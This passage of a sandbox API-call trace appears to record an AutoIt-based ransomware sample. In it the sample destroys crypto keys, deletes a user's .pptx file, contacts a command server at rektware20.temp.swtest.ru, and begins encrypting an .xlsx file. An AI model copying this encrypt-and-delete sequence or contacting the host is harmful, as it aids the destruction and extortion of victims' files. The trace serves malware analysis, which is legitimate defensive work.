| out: lpMsg=0x130f164) returned 0 [0070.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.809] WriteFile (in: hFile=0x2ac, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0x54e0, lpOverlapped=0x0) returned 1 [0070.810] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.810] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.810] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.810] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.810] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.810] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.810] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.811] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.811] CryptDestroyKey (hKey=0x164c2b0) returned 1 [0070.811] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.811] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.811] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.811] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.811] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.811] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.811] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.812] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.812] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.812] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.812] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.812] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.812] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.812] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.812] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.812] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.812] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.812] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.812] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.812] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.813] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.813] CryptReleaseContext (hProv=0x17aa9a0, dwFlags=0x0) returned 1 [0070.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.813] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.813] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.813] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.813] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.813] CloseHandle (hObject=0x3bc) returned 1 [0070.814] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.815] CloseHandle (hObject=0x2ac) returned 1 [0070.839] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.839] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.839] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", lpFilePart=0x0) returned 0x35 [0070.839] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oa1g3s9v3ivoujc9.pptx")) returned 0x20 [0070.839] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c770 [0070.839] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oa1g3s9v3ivoujc9.pptx")) returned 1 [0070.851] FindNextFileW (in: hFindFile=0x164c770, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.852] FindClose (in: hFindFile=0x164c770 | out: hFindFile=0x164c770) returned 1 [0070.852] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.852] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.852] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.852] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.852] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.852] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.853] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.853] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.853] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.853] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.853] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.853] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c) returned 1 [0070.853] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.853] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.853] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.854] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.854] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.854] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.854] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.854] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.855] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.855] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.855] CloseHandle (hObject=0x0) returned 0 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oXguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XguEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="guEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uEznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EznPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="znPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nPgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PgyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gyKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yKhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KhHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hHz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Hz9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.857] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.857] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.857] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.857] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.857] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.857] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.857] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.857] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.857] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.857] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ee1c) returned 1 [0070.857] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.857] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.857] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.858] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.858] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.858] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.858] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.859] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.859] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.859] InternetCloseHandle 